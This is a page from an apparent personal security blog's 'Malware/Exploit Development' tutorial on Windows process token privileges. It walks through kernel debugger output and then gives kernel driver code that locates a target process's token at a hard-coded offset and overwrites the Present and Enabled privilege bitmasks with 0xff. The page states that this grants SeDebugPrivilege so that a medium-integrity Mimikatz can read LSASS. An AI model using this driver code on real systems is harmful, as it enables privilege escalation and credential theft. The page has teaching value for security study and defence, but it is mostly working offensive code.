🐳
Swayam's Blog
LinkedinGithub
  • 🫚root@Swayam's Blog
  • 🕺About Me
  • 🛠️Projects
    • CurveLock
    • ShadowChain
  • 🐞Malware Analysis
    • Basic Malware Analysis
      • LAB Network Setup
      • Basic Static Analysis
      • Basic Dynamic Analysis
      • Advanced Dynamic Analysis
      • Advanced Static Analysis
      • Identifying Anti analysis techniques
      • Binary Patching
      • Shellcode Analysis
      • Malware.unknown.exe.Malz
      • Challenge-Sillyputty
      • Bind_shell RAT Analysis
      • Malicious Powershell Script
      • Malicious HTA(HTML Applications)
      • Phishing Excel Embedded Malware
      • Reversing Csharp And DotNET Framework
      • YARA rules
      • Automating Malware Analysis
    • MASM 64 Bit Assembly
      • Hello World Of Assembly Language
      • Computer Data Representation and Operations
      • Memory Access And Organization
      • Constants, Variables And Data Types
      • Procedures
  • 👨‍💻Malware/Exploit Development
    • Driver Development
      • Driver 101
      • Kernel Calbacks
      • Process Protection
      • Process Token Privilege
  • 📖Notes And Cheatsheets
    • OSCP / Application Security
      • OS stuff
        • Footprinting
        • Nmap
        • Shells
        • Metasploit
        • Windows Buffer Overflow
        • Windows
        • Windows Privilege Escalation
        • Linux Commands
        • Linux Privilege Escalation
        • Password Cracking
        • Pivoting And Tunneling
        • Macos
      • General Introduction
        • Basic Tools
        • Basic Networking
      • WebApps
        • Attacking Common Applications
        • Attacking Common Services
        • Broken Authentication
        • Burp Proxy
        • Common Apps
        • Command Injection
        • ffuf Fuzzing
        • File Inclusion
        • File Transfer
        • File Upload
        • Javascript Deobfuscation
        • Password Attacks
        • SQLi
        • Web attacks
        • Web Information Gathering
        • Wordpress
        • Brute Forcing
        • HTTP Curl
      • Active Directory
    • Wireless Attacks
    • Red Teaming
    • BloodHound
    • Pentesting
    • ADCS
  • 🚩CTFs
    • Google CTF
Powered by GitBook
On this page
  • Introduction
  • Token Privileges Structure
  • Enabling Token Privileges
  1. Malware/Exploit Development
  2. Driver Development

Process Token Privilege

PreviousProcess ProtectionNextOSCP / Application Security

Last updated 9 days ago

Introduction

Process privilege determines the type of operations that a process can perform. A process running in medium integrity (right) has very few privileges available; whereas a process running in high integrity (left) has more. Some privileges are default enabled, which means they are enabled by default (duh). Others are disabled but are available, which means they can be enabled using the API.

Take SeDebugPrivilege as an example. The high integrity process has it disabled but available (the token::elevate command in Mimikatz enables this privilege). The medium integrity process cannot enable it at all.

Token Privileges Structure

The token of a process is stored within its EPROCESS structure.

kd> dt nt!_EPROCESS
   +0x4b8 Token            : _EX_FAST_REF
kd> dt nt!_TOKEN
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES

This attribute points to another structure called SEP_TOKEN_PRIVILEGES.

kd> dt nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B

Here we see the familiar fields of Present (or available), Enabled and EnabledByDefault. To actually get a view of the memory region, use the !process command to list a short summary of every running process.

kd> !process 0 0
[...snip...]

PROCESS ffff998f239e8080
    SessionId: 1  Cid: 1ae4    Peb: 2cd920d000  ParentCid: 1448
    DirBase: a6449000  ObjectTable: ffffae817ed04240  HandleCount: 237.
    Image: notepad.exe

ffff998f239e8080 is the address of EPROCESS for this process. !process <address> 1 will give a bit more information, including the memory location of the token structure (ffffae8177195060).

kd> !process ffff998f239e8080 1
PROCESS ffff998f239e8080
    SessionId: 1  Cid: 1ae4    Peb: 2cd920d000  ParentCid: 1448
    DirBase: a6449000  ObjectTable: ffffae817ed04240  HandleCount: 237.
    Image: notepad.exe
    VadRoot ffff998f25a81400 Vads 97 Clone 0 Private 532. Modified 14. Locked 0.
    DeviceMap ffffae8176cac370
    Token                             ffffae8177195060
    ElapsedTime                       00:00:06.470
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         235888
    QuotaPoolUsage[NonPagedPool]      13712
    Working Set Sizes (now,min,max)  (4698, 50, 345) (18792KB, 200KB, 1380KB)
    PeakWorkingSetSize                4602
    VirtualSize                       2101407 Mb
    PeakVirtualSize                   2101407 Mb
    PageFaultCount                    4780
    MemoryPriority                    FOREGROUND
    BasePriority                      8
    CommitCharge                      767

We can read the bytes at this address, plus the 0x40 offset.

These are bitmasks which can be anything from 0x00 to 0xff. Different combinations will enable different privileges.

Enabling Token Privileges

typedef PVOID PACCESS_TOKEN;

The SEP_TOKEN_PRIVILEGES structure is not defined at all, so we'll have to create one in driver.h.

constexpr auto TOKEN_PRIVILEGES_OFFSET = 0x040;

typedef struct _SEP_TOKEN_PRIVILEGES
{
	UCHAR Present[8];
	UCHAR Enabled[8];
	UCHAR EnabledByDefault[8];
} SEP_TOKEN_PRIVILEGES, * PSEP_TOKEN_PRIVILEGES;

This new IOCTL will still expect to receive a TARGET_PROCESS structure from the client and it will need to obtain a pointer to its EPROCESS struct as in the previous module.

// obtain pointer to TOKEN
PACCESS_TOKEN hToken = PsReferencePrimaryToken(eProcess);

// grab token privileges from offset
PSEP_TOKEN_PRIVILEGES tokenPrivs = (PSEP_TOKEN_PRIVILEGES)(((ULONG_PTR)hToken) + TOKEN_PRIVILEGES_OFFSET);

if (tokenPrivs == nullptr)
{
	KdPrint(("[+] PSEP_TOKEN_PRIVILEGES was null\n"));
	status = STATUS_INVALID_PARAMETER;

	// dereference eprocess
	ObDereferenceObject(eProcess);

	break;
}

If we're successful in getting a pointer to the TOKEN_PRIVILEGES, we can enable them all by setting the bitmask of each field to their maximum. We must also ensure to dereference our count on eProcess and hToken.

// yolo
tokenPrivs->Present[0] = tokenPrivs->Enabled[0] = 0xff;
tokenPrivs->Present[1] = tokenPrivs->Enabled[1] = 0xff;
tokenPrivs->Present[2] = tokenPrivs->Enabled[2] = 0xff;
tokenPrivs->Present[3] = tokenPrivs->Enabled[3] = 0xff;
tokenPrivs->Present[4] = tokenPrivs->Enabled[4] = 0xff;

// dereference eProcess
ObDereferenceObject(eProcess);

// dereference hToken
PsDereferencePrimaryToken(hToken);

break;

In this example, Mimikatz is running in medium integrity. But because we've granted all token privileges, including SeDebug, it's able to read LSASS.

The provides a description of what each privilege does.

EX_FAST_REF is a type of which, in this case, points to a TOKEN structure. It's quite large, but the Privileges attribute is the one we're interested in.

Luckily, we don't have to do many additional offset calculations to find the relevant portion of memory thanks to the API. This takes a pointer to an EPROCESS structure and returns a pointer to its TOKEN structure. This is also opaque as define in wdm.h.

👨‍💻
Privilege Constants documentation
pointer
PsReferencePrimaryToken
AdjustTokenPrivileges